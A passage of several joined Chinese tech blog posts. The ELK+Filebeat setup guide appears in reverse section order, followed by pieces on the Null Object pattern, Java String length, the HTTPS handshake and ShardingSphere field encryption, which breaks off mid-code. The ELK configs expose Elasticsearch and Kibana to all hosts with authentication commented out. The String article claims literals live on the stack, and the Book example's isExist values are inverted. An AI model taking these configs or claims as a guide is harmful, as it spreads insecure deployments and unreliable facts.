4.4、登录kibana,创建索引,并且搜集数据ELK+ Filebeat的安装,到此,就基本结束了,以上只是简单的部署完了。但是,还满足不了需求,比如,一台服务器,有多个日志文件路径,改怎么配置,接下来,我们来分类创建索引!五、Filebeat收集多个tomcat目录下的日志5.1、修改filebeat.yml配置文件vim /etc/filebeat/filebeat.yml配置多个paths收集路径,并且使用fields标签配置自定义标签log_topics,以方便做索引判断,如下:filebeat.prospectors: - type: log enabled: true paths: - /usr/tomcat7-ysynet/logs/default/common_monitor.log multiline.pattern: '^[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2},[0-9]{3}' multiline.negate: true multiline.match: after fields: log_topics: spd-ysynet - type: log enabled: true paths: - /usr/tomcat7-ysynet-sync/logs/default/common_monitor.log multiline.pattern: '^[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2},[0-9]{3}' multiline.negate: true multiline.match: after fields: log_topics: spd-ysynet-sync - type: log enabled: true paths: - /usr/tomcat7-hscm/logs/default/common_monitor.log multiline.pattern: '^[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2},[0-9]{3}' multiline.negate: true multiline.match: after fields: log_topics: spd-hscm - type: log enabled: true paths: - /usr/tomcat7-hscm-sync/logs/default/common_monitor.log multiline.pattern: '^[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2},[0-9]{3}' multiline.negate: true multiline.match: after fields: log_topics: spd-hscm-syncfilebeat安装包所在服务器有tomcat7-ysynet、tomcat7-ysynet-sync、tomcat7-hscm、tomcat7-hscm-sync,4个tomcat,在fields下分别创建不同的log_topics,log_topics属于标签名,可以自定义,然后创建不同的值!5.2、修改logstash.conf配置文件接着,修改logstash中的配置文件,创建索引,将其输出vim /etc/logstash/conf.d/logstash.conf内容如下:input{ beats { port => 5044 codec => plain { charset => "UTF-8" } } } filter{ mutate{ remove_field => "beat.hostname" remove_field => "beat.name" remove_field => "@version" remove_field => "source" remove_field => "beat" remove_field => "tags" remove_field => "offset" remove_field => "sort" } } output{ if [fields][log_topics] == "spd-ysynet" { stdout { codec => rubydebug } elasticsearch { hosts => ["localhost:9200"] index => "spd-ysynet-%{+YYYY.MM.dd}" } } if [fields][log_topics] == "spd-ysynet-sync" { stdout { codec => rubydebug } elasticsearch { hosts => ["localhost:9200"] index => "spd-ysynet-sync-%{+YYYY.MM.dd}" } } if [fields][log_topics] == "spd-hscm" { stdout { codec => rubydebug } elasticsearch { hosts => ["localhost:9200"] index => "spd-hscm-%{+YYYY.MM.dd}" } } if [fields][log_topics] == "spd-hscm-sync" { stdout { codec => rubydebug } elasticsearch { hosts => ["localhost:9200"] index => "spd-hscm-sync-%{+YYYY.MM.dd}" } } }其中filter表示过滤的意思,在output中使用filebeat中配置的fields信息,方便创建不同的索引!#表示,输出到控制台 stdout { codec => rubydebug } #elasticsearch表示,输出到elasticsearch中,index表示创建索引的意思 elasticsearch { hosts => ["localhost:9200"] index => "spd-hscm-sync-%{+YYYY.MM.dd}" }5.3、测试修改的logstash.conf配置文件输入如下命令,检查/etc/logstash/conf.d/logstash.conf文件,是否配置异常!/usr/share/logstash/bin/logstash -f /etc/logstash/conf.d/logstash.conf --config.test_and_exit输入结果,显示Configuration OK,就表示没问题!5.4、重启相关服务最后,重启filebeatsystemctl restart filebeat关闭logstash服务systemctl stop logstash以指定的配置文件,启动logstash,输入如下命令,回车就ok了,执行完之后也可以用ps -ef|grep logstash命令查询logstash是否启动成功!nohup /usr/share/logstash/bin/logstash -f /etc/logstash/conf.d/logstash.conf &5.5、登录kibana,创建索引登录kibana,以同样的操作,页面创建索引,查询收集的日志,以下是小编的测试服务器搜集的信息第3、4、5步骤,是筛选elasticsearch今天收集的日志信息!六、总结整个安装过程已经介绍完了,安装比较简单,复杂的地方就是配置了,尤其是logstash、kibana、nginx、filebeat,这几个部分,看了网上很多的介绍,elk配置完之后,外网无法访问kibana,使用nginx代理到kibana,页面就出来了;同时,在配置filebeat多个路径的时候,logstash也配置了输出索引,但是就是没有日志出来,页面检查说Elasticsearch没有找到数据,最后才发现,一定要让logstash指定/etc/logstash/conf.d/logstash.conf配置文件,进行启动,那么就有日志出来了,整篇文章,可能有很多写的不到位的地方,请大家多多包含,也可以直接给我们留言,以便修正!
3.2、Logstash安装3.2.1、安装logstashrpm -ivh logstash-6.1.0.rpm3.2.2、设置data的目录创建/data/ls-data目录,用于logstash数据的存放mkdir -p /data/ls-data修改该目录的拥有者为logstashchown -R logstash:logstash /data/ls-data3.2.3、设置log的目录创建/data/ls-log目录,用于logstash日志的存放mkdir -p /log/ls-log修改该目录的拥有者为logstashchown -R logstash:logstash /log/ls-log3.2.4、设置conf.d的目录,创建配置文件#进入logstash目录 cd /etc/logstash #创建conf.d的目录 mkdir conf.d创建配置文件,日志内容输出到elasticsearch中,如下vim /etc/logstash/conf.d/logstash.conf内容如下:input { beats { port => 5044 codec => plain { charset => "UTF-8" } } } output { elasticsearch { hosts => ["localhost:9200"] } stdout { codec => rubydebug } }3.2.5、修改配置文件logstash.ymlvim /etc/logstash/logstash.yml内容如下:# 设置数据的存储路径为/data/ls-data path.data: /data/ls-data # 设置管道配置文件路径为/etc/logstash/conf.d path.config: /etc/logstash/conf.d # 设置日志文件的存储路径为/log/ls-log path.logs: /log/ls-log3.2.6、启动logstash启动systemctl start logstash查看systemctl status logstash设置开机启动systemctl enable logstash3.2.7、测试logstash--config.test_and_exit表示,检查测试创建的logstash.conf配置文件,是否有问题,如果没有问题,执行之后,显示Configuration OK 证明配置成功!/usr/share/logstash/bin/logstash -f /etc/logstash/conf.d/logstash.conf --config.test_and_exit**如果报错:WARNING: Could not find logstash.yml which is typically located in $LS_HOME/config or /etc/logstash. You can specify the path using –path.settings. **解决办法:cd /usr/share/logstash ln -s /etc/logstash ./config3.2.8、logstash指定配置进行运行指定logstash.conf配置文件,以后台的方式运用,执行这段命令之后,需要回车一下nohup /usr/share/logstash/bin/logstash -f /etc/logstash/conf.d/logstash.conf &检查logstash是否启动ps -ef|grep logstash显示如下信息,说明启动了3.3、kibana安装3.3.1、安装kibanarpm -ivh kibana-6.1.0-x86_64.rpm搜索rpm包rpm -ql kibana默认是装在/usr/share/kibana/下。3.3.2、修改kibana.yml修改kibana的配置文件vim /etc/kibana/kibana.yml内容如下:#kibana页面映射在5601端口 server.port: 5601 #允许所有ip访问5601端口 server.host: "0.0.0.0" #elasticsearch所在的ip及监听的地址 elasticsearch.url: "http://localhost:9200"3.3.3、启动kibana启动systemctl start kibana查看状态systemctl status kibana设置开机启动systemctl enable kibana3.4、配置nginx 访问3.4.1、安装nginx和http用户认证工具yum -y install epel-release yum -y install nginx httpd-tools3.4.2、修改nginx配置cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak vim /etc/nginx/nginx.conf将location配置部分,注释掉创建kibana.conf文件vim /etc/nginx/conf.d/kibana.conf内容如下:server { listen 8000; #修改端口为8000 server_name kibana; #auth_basic "Restricted Access"; #auth_basic_user_file /etc/nginx/kibana-user; location / { proxy_pass http://127.0.0.1:5601; #代理转发到kibana proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; } }重新加载配置文件systemctl reload nginx到这一步,elk基本配置完了,输入如下命令,启动服务# 启动ELK和nginx systemctl restart elasticsearch logstash kibana nginx #查看ELK和nginx启动状态 systemctl status elasticsearch logstash kibana nginx在浏览器输入ip:8000, 就可以访问了kibana四、Linux节点服务器安装配置filebeat4.1、安装filebeatyum localinstall -y filebeat-6.2.4-x86_64.rpm4.2、启动kibana启动systemctl start filebeat查看状态systemctl status filebeat设置开机启动systemctl enable filebeat4.3、修改配置Filebeat编辑filebeat.yml文件vim /etc/filebeat/filebeat.yml#============= Filebeat prospectors =============== filebeat.prospectors: - input_type: log enabled: true #更改为true以启用此prospectors配置。 paths: #支持配置多个文件收集目录 #- /var/log/*.log - /var/log/messages #==================== Outputs ===================== #------------- Elasticsearch output --------------- #output.elasticsearch: # Array of hosts to connect to. #hosts: ["localhost:9200"] #---------------- Logstash output ----------------- output.logstash: # The Logstash hosts hosts: ["localhost:5044"]注意:注释掉Elasticsearch output下面的部分,将Filebeat收集到的日志输出到 Logstash output最后重启服务systemctl restart filebeat
三、基于 Filebeat 架构的配置安装由于我这边是测试环境,所以ElasticSearch + Logstash + Kibana + nginx这四个软件我都是装在一台机器上面,如果是生产环境,建议分开部署,并且ElasticSearch可配置成集群方式。软件架构示意图:安装环境及版本:操作系统:Centos7内存:大于或等于4GElasticSearch:6.1.0Logstash:6.1.0Kibana:6.1.0filebeat :6.2.4建议把所需的安装包,手动从网上下载下来,因为服务器下载ELK安装包速度像蜗牛......,非常非常慢~~,可能是国内的网络原因吧!将手动下载下来的安装包,上传到服务器某个文件夹下。3.1、ElasticSearch安装3.1.1、安装JDK(已经安装过,可以跳过)elasticsearch依赖Java开发环境支持,先安装JDK。yum -y install java-1.8.0-openjdk查看java安装情况java -version3.1.2、安装ElasticSearch进入到对应上传的文件夹,安装ElasticSearchrpm -ivh elasticsearch-6.1.0.rpm查找安装路径rpm -ql elasticsearch一般是装在/usr/share/elasticsearch/下。3.1.3、设置data的目录创建/data/es-data目录,用于elasticsearch数据的存放mkdir -p /data/es-data修改该目录的拥有者为elasticsearchchown -R elasticsearch:elasticsearch /data/es-data3.1.4、设置log的目录创建/data/es-log目录,用于elasticsearch日志的存放mkdir -p /log/es-log修改该目录的拥有者为elasticsearchchown -R elasticsearch:elasticsearch /log/es-log3.1.5、修改配置文件elasticsearch.ymlvim /etc/elasticsearch/elasticsearch.yml修改如下内容:#设置data存放的路径为/data/es-data path.data: /data/es-data #设置logs日志的路径为/log/es-log path.logs: /log/es-log #设置内存不使用交换分区 bootstrap.memory_lock: false #配置了bootstrap.memory_lock为true时反而会引发9200不会被监听,原因不明 #设置允许所有ip可以连接该elasticsearch network.host: 0.0.0.0 #开启监听的端口为9200 http.port: 9200 #增加新的参数,为了让elasticsearch-head插件可以访问es (5.x版本,如果没有可以自己手动加) http.cors.enabled: true http.cors.allow-origin: "*"3.1.6、启动elasticsearch启动systemctl start elasticsearch查看状态systemctl status elasticsearch设置开机启动systemctl enable elasticsearch启动成功之后,测试服务是否开启curl -X GET http://localhost:9200返回如下信息,说明安装、启动成功了
一、ELK Stack 简介ELK 不是一款软件,而是 Elasticsearch、Logstash 和 Kibana 三种软件产品的首字母缩写。这三者都是开源软件,通常配合使用,而且又先后归于 Elastic.co 公司名下,所以被简称为 ELK Stack。根据 Google Trend 的信息显示,ELK Stack 已经成为目前最流行的集中式日志解决方案。Elasticsearch:分布式搜索和分析引擎,具有高可伸缩、高可靠和易管理等特点。基于 Apache Lucene 构建,能对大容量的数据进行接近实时的存储、搜索和分析操作。通常被用作某些应用的基础搜索引擎,使其具有复杂的搜索功能;Logstash:数据收集引擎。它支持动态的从各种数据源搜集数据,并对数据进行过滤、分析、丰富、统一格式等操作,然后存储到用户指定的位置;Kibana:数据分析和可视化平台。通常与 Elasticsearch 配合使用,对其中数据进行搜索、分析和以统计图表的方式展示;Filebeat:ELK 协议栈的新成员,一个轻量级开源日志文件数据搜集器,基于 Logstash-Forwarder 源代码开发,是对它的替代。在需要采集日志数据的 server 上安装 Filebeat,并指定日志目录或日志文件后,Filebeat 就能读取数据,迅速发送到 Logstash 进行解析,亦或直接发送到 Elasticsearch 进行集中式存储和分析。二、ELK 常用架构及使用场景介绍2.1、最简单架构在这种架构中,只有一个 Logstash、Elasticsearch 和 Kibana 实例。Logstash 通过输入插件从多种数据源(比如日志文件、标准输入 Stdin 等)获取数据,再经过滤插件加工数据,然后经 Elasticsearch 输出插件输出到 Elasticsearch,通过 Kibana 展示。这种架构非常简单,使用场景也有限。初学者可以搭建这个架构,了解 ELK 如何工作。2.2、Logstash 作为日志搜集器这种架构是对上面架构的扩展,把一个 Logstash 数据搜集节点扩展到多个,分布于多台机器,将解析好的数据发送到 Elasticsearch server 进行存储,最后在 Kibana 查询、生成日志报表等。这种结构因为需要在各个服务器上部署 Logstash,而它比较消耗 CPU 和内存资源,所以比较适合计算资源丰富的服务器,否则容易造成服务器性能下降,甚至可能导致无法正常工作。2.3、Beats 作为日志搜集器这种架构引入 Beats 作为日志搜集器。目前 Beats 包括四种:Packetbeat(搜集网络流量数据);Topbeat(搜集系统、进程和文件系统级别的 CPU 和内存使用情况等数据);Filebeat(搜集文件数据);Winlogbeat(搜集 Windows 事件日志数据)。Beats 将搜集到的数据发送到 Logstash,经 Logstash 解析、过滤后,将其发送到 Elasticsearch 存储,并由 Kibana 呈现给用户。这种架构解决了 Logstash 在各服务器节点上占用系统资源高的问题。相比 Logstash,Beats 所占系统的 CPU 和内存几乎可以忽略不计。另外,Beats 和 Logstash 之间支持 SSL/TLS 加密传输,客户端和服务器双向认证,保证了通信安全。因此这种架构适合对数据安全性要求较高,同时各服务器性能比较敏感的场景。2.4、引入消息队列机制的架构Beats 还不支持输出到消息队列,所以在消息队列前后两端只能是 Logstash 实例。这种架构使用 Logstash 从各个数据源搜集数据,然后经消息队列输出插件输出到消息队列中。目前 Logstash 支持 Kafka、Redis、RabbitMQ 等常见消息队列。然后 Logstash 通过消息队列输入插件从队列中获取数据,分析过滤后经输出插件发送到 Elasticsearch,最后通过 Kibana 展示。这种架构适合于日志规模比较庞大的情况。但由于 Logstash 日志解析节点和 Elasticsearch 的负荷比较重,可将他们配置为集群模式,以分担负荷。引入消息队列,均衡了网络传输,从而降低了网络闭塞,尤其是丢失数据的可能性,但依然存在 Logstash 占用系统资源过多的问题。说了这么多理论,对于喜欢就干的小编来说,下面我将以Beats 作为日志搜集器的架构,进行详细安装介绍!
一、介绍在实际的系统运行过程中,难免会出现报NullPointerException空指针的错误,造成这样的本质原因就是数据或者对象为空,导致程序进一步执行的时候报错!一般的常规解决办法也就是加一个if判断。if(obj != null){ //doSomthing }如果出现需要判断的对象过多,难以避免的会出现很多对Null的判断语句,而这些语句一旦多起来,我们的代码就会变的惨不忍睹。针对这种情况,我们可以引入了空对象模式以此来使我们的代码变的更优雅一点。废话也不多说了,代码直接撸起来!二、程序示例下面,我们以获取从一个书籍库中获取书籍为例,实现过程如下!先创建一个书籍抽象类AbstractBook,代码如下:public abstract class AbstractBook { //书名 protected String bookName; //判断是否存在 public abstract boolean isExist(); //获取书名 public abstract String getName(); }然后,创建一个具体实现类Book,如下:public class Book extends AbstractBook { public Book(String bookName) { this.bookName = bookName; } @Override public boolean isExist() { return false; } @Override public String getName() { return bookName; } }接着,创建一个空对象NullObjectBook,如下:public class NullObjectBook extends AbstractBook { @Override public boolean isExist() { return true; } @Override public String getName() { return "没有..."; } }同时,创建一个书籍获取工厂BookFactory,如下:public class BookFactory { public static final String[] names = {"java核心卷1", "java核心卷2", "软件随想录", "python入门"}; public static AbstractBook getBook(String bookName){ for (int i = 0; i < names.length; i++) { if(names[i].equals(bookName)){ return new Book(bookName); } } return new NullObjectBook(); } }最后,编写一个测试客户端,如下:public class NullObjectClient { public static void main(String[] args) { AbstractBook book1 = BookFactory.getBook("java核心卷2"); AbstractBook book2 = BookFactory.getBook("python入门"); AbstractBook book3 = BookFactory.getBook("java编程思想"); AbstractBook book4 = BookFactory.getBook("软件随想录"); System.out.println(book1.getName()); System.out.println(book2.getName()); System.out.println(book3.getName()); System.out.println(book4.getName()); } }输出结果:java核心卷2 python入门 没有... 软件随想录从代码上可以看出,实现过程比较简单!三、应用空对象模式在编程中应用也很广,例如 google 的 guava 库提供了Optional类,可以有效的判断null对象。Optional<Integer> possible = Optional.of(5); possible.isPresent(); // returns true possible.get(); // returns 5在 jdk1.8 中也新增了Optional类,以提高程序的健壮性!四、总结在写代码的时候我们经常会遇到空指针,为了避免空指针的发生需要做一些判断。如果是复杂对象的话,还需要一层层地去判断。巧妙的采用使用空对象模式,可以用于返回无意义的对象,从而承担处理null的责任,提升程序员的可读性!
毫无疑问 String 是作为一个 Java 开发工程师天天都需要打交道的类,那么如果问你 String 字符串的最大长度是多少你知道吗?有的小伙伴可能想都没想,就直接回答 65535,那么问题来了,真的吗?今天阿粉就带你研究一下。首先对于 String 我们可以有下面几种用法:定义一个 String 类型的变量:private static final String STRING_TEST = "xxxxxxxxxxx"; 或者 String newString = "newString";通过在方法中定义 String 类型的变量,通过字节流创建字符串:byte[] bytes = new byte[length];String s = new String(bytes);;有朋友可能会说,这两种不都是定义一个字符串变量,有什么区别吗?表面上看是没什么区别,但是实际上区别还是蛮大的。首先第一种方式定一个静态类变量,或者普通的字符串变量,这种形式字符串是存放在栈中的;而第二种方式字符串是存放在堆中的。这个时候有的小伙伴又要问了,这存在不同的地方有什么关系呢?首先这关系可大了!当字符串存放在栈中的时候,根据 class 文件的结果规范,我们可以看到所采用的的存储格式是这样的:CONSTANT_Utf8_info { u1 tag; u2 length; u1 bytes[length]; }其中 u2 是一种类似于Java 中int 一样的数据类型,只是表示的是一个 2 个字节的数据类型,只不过 int 是 4 个字节,这也就意味着允许的最大长度为 65535 个字符。所以我们可以得出一个结果,当字符串存放在栈内存中的时候,字符串的长度可以达到 65535。看到这里小伙伴又不耐烦了,说到:你看吧,我就说是 65535 吧,还不信。别急,到这里我们才说了一半,接下来我们在看看第二种方式。很显然第二种方式不管是通过字节流的方式,还是 new 一个对象,存放的位置都是早 Java 的堆内存中,而且通过 String 的源码,我们可以看到了,底层是通过一个 char[] 数组来存放的。privatefinalchar value[];那么我们就知道了,字符传的大小就跟数组的长度有直接关系了,另外在定义数组长度的时候,我们最多只能定义 int 类型的最大值,也就是Integer.MAX_VALUE = 0x7fffffff; 而且 String 类的 length() 方法的返回值也可以看出来,返回的类型是 int ,数值最大也是Integer.MAX_VALUE = 0x7fffffff;/** * Returns the length of this string. * The length is equal to the number of <a href="Character.html#unicode">Unicode * code units</a> in the string. * * @return the length of the sequence of characters represented by this * object. */ public int length() { return value.length; }所以看到这里,我们又得出了一个结果,**当字符串存放在堆内存的时候,最大的长度为 Integer.MAX_VALUE = 0x7fffffff; **。不过需要注意的是,这个数值是理论上的,其实很多虚拟机会在数组中加入一些字符,所以实际的数值是达不到这么多,另外我们在 ArrayList 中也可以看到这个验证,这里定义的最大值就是Integer.MAX_VALUE - 8; 而不直接采用最大值。此外上面说的最大值是在我们的虚拟机有这么大的内存的前提下,如果说我们的虚拟机配置的内存比这个要小,那也是达不到这么大。我们可以通过 JVM 参数来配置虚拟机的内存大小,-Xms512m 设置堆内存初始值大小。-Xmx1024m 设置堆内存最大值。下面是阿粉在自己的电脑上测试的效果,可以看到,当开始提示Requested array size exceeds VM limit,后面因为阿粉的电脑内存不够了,所以一直分配失败,达不到最大值,只能降低长度了。另外还要注意一个点,那就是我们在这里说的长度针对的都是英文字符,如果是是中文的话是没有那么长的,那么如果对应中文的话字符串会有多长呢?这个问题留给大家在评论区里面回答了。
HTTPHTTP协议是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网服务器传输超文本到本地浏览器的传送协议。HTTP 是基于 TCP/IP 协议通信协议来传递数据(HTML 文件、图片文件、查询结果等)。它不涉及数据包(packet)传输,主要规定了客户端和服务器之间的通信格式,默认使用80端口。这其实就是百度百科里面的精简化的内容,虽然说不上太细致,但是已经算是对HTTP做了一个大概的描述,我们接下来就从以下的几个方面来看一下这个HTTP吧。我们从这里就不再多解释 HTTP报文 和 主体 这些内容了,阿粉之前也是完整的给大家解释过了,包括了 HTTP 的进化历史,阿粉今天我们来讲讲 HTTP 和 HTTPS 的关系。HTTP缺点众所周知,HTTP 的优点那可是一大堆:简单、灵活、易于扩展应用广泛、环境成熟无状态 (不需要额外的资源来记录状态信息)但是 HTTP 的缺点也是非常的显著,为什么这么说,HTTP 使用的是明文的方式进行传输,虽然方便了我们的调试,但是信息会被暴露出来,每一个环节没有隐私可言。而且 HTTP 在我们的认知当中,他就是一个不安全的,第一个原因是上面说的明文,还有就是 HTTP 不验证通信双方的身份,所以对方的身份有可能伪装,就像某些公共场所的那些 公共WIFI ,还有就是 HTTP 不能验证报文的完整性,所以报文也是有可能被篡改的。基于这些内容,所以我们很多时候对 HTTP 的选择都比较慎重,不然你传输内容的时候,别人用抓包工具就很容易的能够分析出你想要传递的内容。这时候我们就想到了一个事情,加密处理一下不就好了?对,完全没问题,HTTP 没有加密的机制,但是我们可以想办法处理,这个办法就是:SSL 或者 TLSSSL: 安全套接层TLS:安全层传输协议当他们组合使用的时候,就能够加密 HTTP 的通信的内容了,这时候就能在这条线路上进行通信,而通过 SSL组合使用后的 HTTP 被称为 HTTPS 或者称之为 HTTP overSSL。HTTPS大白话说一下,HTTP 在加上加密处理和认证以及完整性保护之后就是 HTTPS。分辨 HTTPS 最简单的方法就是,你在浏览器访问的时候,能够看到一个小锁的标识。现在百分之90以上的网站不都是使用的 HTTPS 么,我们使用抓包工具来看一下 HTTPS 的传输内容试试。我们从中看到了TLS 的版本,还有阿粉没有截图上的随机数。这时候我们就得来完整的分析 HTTPS 的安全通信机制了。来看个图看一下 然后我们再拿我们的抓包工具来进行分析。上面这是 HTTPS 的安全通信的机制,我们分别来看看都干了什么。第一步:Client Hello客户端通过 发送 Client Hello 报文开始 SSL/TSL 通信。其中包含了 SSL/TSL 的版本,所使用的加密的方法等一系列的内容。第二步:Server Hello服务端根据客户端发送的支持的 SSL/TLS 协议版本,和自己的比较确定使用的 SSL/TLS 协议版本。缺点假面算法等内容。第三步:服务器发送 Certificate 报文,报文中包含了公开密钥证书。证书的目的实际上就是保证标识的身份,证书一般采用X.509标准。第四步:Server Key Exchange服务器发送 Server Hello Done 报文请求客户端,第一阶段的 SSL/TSL 握手协商部分结束。也有很多人习惯的称第四步是 Server Hello Done 实际上当我们抓包的时候,发现他们是在一次请求中的,我们一会抓包看一下试试。Server Hello Done 实际上就是相当于我给你说我这边发完毕了。第五步:Client Key Exchange完成 SSL/TSL 第一次握手之后,客户端就发送 Client Key Exchange 报文作为回应,这里实际上就是为了交换秘钥参数,这里客户端会再生成一个随机数,然后使用服务端传来的公钥进行加密得到密文PreMaster Key。服务端收到这个值后,使用私钥进行解密,这样两边的秘钥就协商好了。后面数据传输就可以用协商好的秘钥进行加密和解密。第六步:Change Cipher Spec客户端发送 Change Cipher Spec 报文,提示服务器编码改变,就是说以后我们再发消息的时候,我是用之前我们定义的密钥进行加密。第七步:Client Finished户端将前面的握手消息生成摘要再用协商好的秘钥加密,这是客户端发出的第一条加密消息,这一步也是比较关键的一步,这次的操作的成功与否,就得看服务器是否能够成功解密这次的报文来作为判断依据了。第八步:服务器发送 Change Cipher Spec第九步:服务器发送Server Finished 报文实际上作用和 Client 差不多。第十步:服务端和客户端的 Finished 交换完成了,这时候 SSL/TSL 的连接就OK了,发送信息也就是完整的称为 HTTPS 了。最后就是进行数据传输的内容了。既然 HTTPS 都是安全的了,为什么不大范围的广泛使用呢?实际上加密通信虽然在一定程度上保护了数据的隐私,但是效率比较低,每一次通信都要加密,会消耗资源,如果包含一些钱的肯定那必须得使用加密的通信,而且主要证书要收费呀。你要想用,那肯定需要证书,就像大家在做微信支付的时候,不是也需要购买证书么,一般一年怎么也得几百块钱,所以你知道 HTTP 和 HTTPS 的关系了么?
一、介绍在实际的软件系统开发过程中,由于业务的需求,在代码层面实现数据的脱敏还是远远不够的,往往还需要在数据库层面针对某些关键性的敏感信息,例如:身份证号、银行卡号、手机号、工资等信息进行加密存储,实现真正意义的数据混淆脱敏,以满足信息安全的需要。那在实际的研发过程中,我们如何实践呢?二、方案实践在此,提供三套方案以供大家选择。通过 SQL 函数实现加解密对 SQL 进行解析拦截,实现数据加解密自定义一套脱敏工具2.1、通过 SQL 函数实现加解密最简单的方法,莫过于直接在数据库层面操作,通过函数对某个字段进行加、解密,例如如下这个案例!-- 对“你好,世界”进行加密 select HEX(AES_ENCRYPT('你好,世界','ABC123456')); -- 解密,输出:你好,世界 select AES_DECRYPT(UNHEX('A174E3C13FE16AA0FD071A4BBD7CD7C5'),'ABC123456');采用Mysql内置的AES协议加、解密函数,密钥是ABC123456,可以很轻松的对某个字段实现加、解密。如果是很小的需求,需要加密的数据就是指定的信息,此方法可行。但是当需要加密的表字段非常多的时候,这个使用起来就比较鸡肋了,例如我想更改加密算法或者不同的部署环境配置不同的密钥,这个时候就不得不把所有的代码进行更改一遍。2.2、对 SQL 进行解析拦截,实现数据加解密通过上面的方案,我们发现最大的痛点就是加密算法和密钥都写死在SQL上了,因此我们可以将这块的服务从抽出来,在JDBC层面,当sql执行的时候,对其进行拦截处理。Apache ShardingSphere 框架下的数据脱敏模块,它就可以帮助我们实现这一需求,如果你是SpringBoot项目,可以实现无缝集成,对原系统的改造会非常少。下面以用户表为例,我们来看看采用ShardingSphere如何实现!2.2.1、创建用户表CREATE TABLE user ( id bigint(20) NOT NULL COMMENT '用户ID', email varchar(255) NOT NULL DEFAULT '' COMMENT '邮件', nick_name varchar(255) DEFAULT NULL COMMENT '昵称', pass_word varchar(255) NOT NULL DEFAULT '' COMMENT '二次密码', reg_time varchar(255) NOT NULL DEFAULT '' COMMENT '注册时间', user_name varchar(255) NOT NULL DEFAULT '' COMMENT '用户名', salary varchar(255) DEFAULT NULL COMMENT '基本工资', PRIMARY KEY (id) USING BTREE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;2.2.2、创建 springboot 项目并添加依赖包<dependencies> <!--spring boot核心--> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter</artifactId> </dependency> <!--spring boot 测试--> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <!--springmvc web--> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <!--mysql 数据源--> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> </dependency> <!--mybatis 支持--> <dependency> <groupId>org.mybatis.spring.boot</groupId> <artifactId>mybatis-spring-boot-starter</artifactId> <version>2.0.0</version> </dependency> <!--shardingsphere数据分片、脱敏工具--> <dependency> <groupId>org.apache.shardingsphere</groupId> <artifactId>sharding-jdbc-spring-boot-starter</artifactId> <version>4.1.0</version> </dependency> <dependency> <groupId>org.apache.shardingsphere</groupId> <artifactId>sharding-jdbc-spring-namespace</artifactId> <version>4.1.0</version> </dependency> </dependencies>2.2.3、添加脱敏配置在application.properties文件中,添加shardingsphere相关配置,即可实现针对某个表进行脱敏server.port=8080 logging.path=log #shardingsphere数据源集成 spring.shardingsphere.datasource.name=ds spring.shardingsphere.datasource.ds.type=com.zaxxer.hikari.HikariDataSource spring.shardingsphere.datasource.ds.driver-class-name=com.mysql.cj.jdbc.Driver spring.shardingsphere.datasource.ds.jdbc-url=jdbc:mysql://127.0.0.1:3306/test spring.shardingsphere.datasource.ds.username=xxxx spring.shardingsphere.datasource.ds.password=xxxx #加密方式、密钥配置 spring.shardingsphere.encrypt.encryptors.encryptor_aes.type=aes spring.shardingsphere.encrypt.encryptors.encryptor_aes.props.aes.key.value=hkiqAXU6Ur5fixGHaO4Lb2V2ggausYwW #plainColumn表示明文列,cipherColumn表示脱敏列 spring.shardingsphere.encrypt.tables.user.columns.salary.plainColumn= spring.shardingsphere.encrypt.tables.user.columns.salary.cipherColumn=salary #spring.shardingsphere.encrypt.tables.user.columns.pass_word.assistedQueryColumn= spring.shardingsphere.encrypt.tables.user.columns.salary.encryptor=encryptor_aes #sql打印 spring.shardingsphere.props.sql.show=true spring.shardingsphere.props.query.with.cipher.column=true #基于xml方法的配置 mybatis.mapper-locations=classpath:mapper/*.xml其中下面的配置信息是关键的一部,spring.shardingsphere.encrypt.tables是指要脱敏的表,user是表名,salary表示user表中的真实列,其中plainColumn指的是明文列,cipherColumn指的是脱敏列,如果是新工程,只需要配置脱敏列即可!spring.shardingsphere.encrypt.tables.user.columns.salary.plainColumn= spring.shardingsphere.encrypt.tables.user.columns.salary.cipherColumn=salary #spring.shardingsphere.encrypt.tables.user.columns.pass_word.assistedQueryColumn= spring.shardingsphere.encrypt.tables.user.columns.salary.encryptor=encryptor_aes2.2.4、编写数据持久层<mapper namespace="com.example.shardingsphere.mapper.UserMapperXml" > <resultMap id="BaseResultMap" type="com.example.shardingsphere.entity.UserEntity" > <id column="id" property="id" jdbcType="BIGINT" /> <result column="email" property="email" jdbcType="VARCHAR" /> <result column="nick_name" property="nickName" jdbcType="VARCHAR" /> <result column="pass_word" property="passWord" jdbcType="VARCHAR" /> <result column="reg_time" property="regTime" jdbcType="VARCHAR" /> <result column="user_name" property="userName" jdbcType="VARCHAR" /> <result column="salary" property="salary" jdbcType="VARCHAR" /> </resultMap> <select id="findAll" resultMap="BaseResultMap"> SELECT * FROM user </select> <insert id="insert" parameterType="com.example.shardingsphere.entity.UserEntity"> INSERT INTO user(id,email,nick_name,pass_word,reg_time,user_name, salary) VALUES(#{id},#{email},#{nickName},#{passWord},#{regTime},#{userName}, #{salary}) </insert> </mapper>public interface UserMapperXml { /** * 查询所有的信息 * @return */ List<UserEntity> findAll(); /** * 新增数据 * @param user */ void insert(UserEntity user); }public class UserEntity { private Long id; private String email; private String nickName; private String passWord; private String regTime; private String userName; private String salary; //省略set、get... }2.2.5、最后我们来测试一下程序运行情况编写启用服务程序@SpringBootApplication @MapperScan("com.example.shardingsphere.mapper") public class ShardingSphereApplication { public static void main(String[] args) { SpringApplication.run(ShardingSphereApplication.class, args); } }编写单元测试@RunWith(SpringJUnit4ClassRunner.class) @SpringBootTest(classes = ShardingSphereApplication.class) public class UserTest { @Autowired private UserMapperXml userMapperXml; @Test public void insert() throws Exception { 